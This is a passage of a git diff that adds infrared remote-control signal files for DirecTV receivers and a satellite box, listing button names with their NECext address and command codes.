+# +name: STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 31 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 32 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 33 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 34 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 35 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 36 00 00 00 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 37 00 00 00 +# +name: SKIP_30_SEC +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 38 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3A 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3C 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3D 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 41 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 42 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 43 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 44 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 73 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 80 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 81 00 00 00 +# +name: FACTORY_TEST +type: parsed +protocol: NECext +address: 02 00 00 00 +command: EA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir new file mode 100644 index 000000000..d0d624dda --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: PREV_CHAN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: DASH +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 31 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 32 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 33 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 34 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 35 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 36 00 00 00 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 37 00 00 00 +# +name: SKIP_30_SEC +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 38 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3A 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3C 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3D 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 41 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 42 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 43 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 44 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 73 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 80 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 81 00 00 00 +# +name: FACTORY_TEST +type: parsed +protocol: NECext +address: 03 00 00 00 +command: EA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir new file mode 100644 index 000000000..e5195c26b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 7E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 7F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir new file mode 100644 index 000000000..c759ff481 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 42 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 4A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir new file mode 100644 index 000000000..be9293aa0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: C-UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: C-DWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: C-LF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: C-RT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 30 00 00 00 +# +name: SQUARE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 32 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: R +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 35 00 00 00 +# +name: ARROW_AROUND_TO_RT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: ARROW_AROUND_TO_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir new file mode 100644 index 000000000..71ed67499 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 0E 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 11 00 00 00 +# +name: DASH +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 20 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 23 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 24 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 26 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 28 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 29 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 2A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 2E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 31 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 32 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 33 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 34 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 35 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 36 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 37 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 41 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 42 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 43 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir new file mode 100644 index 000000000..0792a57f5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: PREV_CH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: DASH_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 32 00 00 00 +# +name: REWUND +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: FFWD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 35 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 80 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir new file mode 100644 index 000000000..db7ee4e24 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: DIRECTV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 0F 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 13 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: END> +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: ENTER/LAST_CH +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 36 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 46 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir new file mode 100644 index 000000000..ba87d047d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir @@ -0,0 +1,536 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: CH/PAGE_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: CH/PAGE_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: PREV_CH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: PREVIOUS_CHAN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: PREVIOUS_CHANNEL +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: PWR +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: DASH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: _DASH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: ARROW_SELECT +type: parsed +protocol: NECext +address: 0C 00 